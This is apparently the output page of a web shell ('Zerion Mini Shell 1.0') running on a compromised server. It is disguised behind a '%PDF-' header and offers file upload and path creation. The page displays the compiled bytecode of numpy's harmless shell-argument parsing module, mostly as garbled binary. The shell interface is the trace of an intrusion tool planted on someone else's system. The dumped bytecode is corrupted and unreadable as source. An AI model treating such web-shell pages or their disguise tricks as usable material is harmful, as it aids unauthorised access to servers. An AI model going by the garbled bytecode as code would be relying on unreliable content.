%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/distutils/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/distutils/__pycache__/_shell_utils.cpython-39.pyc

a

z[yc5
�@s�dZddlZddlZddlZzddlmZWneyJddlmZYn0gd�ZGdd�d�ZGdd�d�Z	Gd	d
�d
�Z
ejdkr�e	Znejdkr�e
ZdS)
zq
Helper functions for interacting with the shell, and consuming shell-style
parameters provided in config files.
�N��quote)�
WindowsParser�PosixParser�NativeParserc@s(eZdZdZedd��Zedd��ZdS)�CommandLineParsera

    An object that knows how to split and join command-line arguments.

    It must be true that ``argv == split(join(argv))`` for all ``argv``.
    The reverse neednt be true - `join(split(cmd))` may result in the addition
    or removal of unnecessary escaping.
    cCst�dS)z5 Join a list of arguments into a command line string N��NotImplementedError��argv�r�B/usr/lib64/python3.9/site-packages/numpy/distutils/_shell_utils.py�joinszCommandLineParser.joincCst�dS)z6 Split a command line string into a list of arguments Nr��cmdrrr
�splitszCommandLineParser.splitN��__name__�
__module__�__qualname__�__doc__�staticmethodrrrrrr
rs

rc@s(eZdZdZedd��Zedd��ZdS)rz�
    The parsing behavior used by `subprocess.call("string")` on Windows, which
    matches the Microsoft C/C++ runtime.

    Note that this is _not_ the behavior of cmd.
    cCs
t�|�S�N)�
subprocessZlist2cmdliner
rrr
r*szWindowsParser.joincs�ddl}z
|jWnty(t�Yn0|s2gSd|}|jjj}|�|j�|_|j|�|j	�f|_
|�	�}|||�|����fdd�t|j
�D�}|jj���r�J�|ddks�J�|dd�S)Nrzdummy csg|]}�|�qSrr)�.0�i�Zlpargsrr
�
<listcomp>C�z'WindowsParser.split.<locals>.<listcomp>Zdummy�)�ctypesZwindll�AttributeErrorr	Zshell32�CommandLineToArgvWZPOINTERZ	c_wchar_pZrestypeZc_int�argtypesZbyref�range�valueZkernel32Z	LocalFree)rr r"�nargs�argsrrr
r/s"


zWindowsParser.splitNrrrrr
r#s

rc@s(eZdZdZedd��Zedd��ZdS)rzX
    The parsing behavior used by `subprocess.call("string", shell=True)` on Posix.
    cCsd�dd�|D��S)N� css|]}t|�VqdSrr)r�argrrr
�	<genexpr>Qrz#PosixParser.join.<locals>.<genexpr>)rr
rrr
rOszPosixParser.joincCstj|dd�S)NT)�posix)�shlexrrrrr
rSszPosixParser.splitNrrrrr
rKs

r�ntr+)
r�osr,rr�ImportErrorZpipes�__all__rrr�namerrrrr
�<module>s(



Zerion Mini Shell 1.0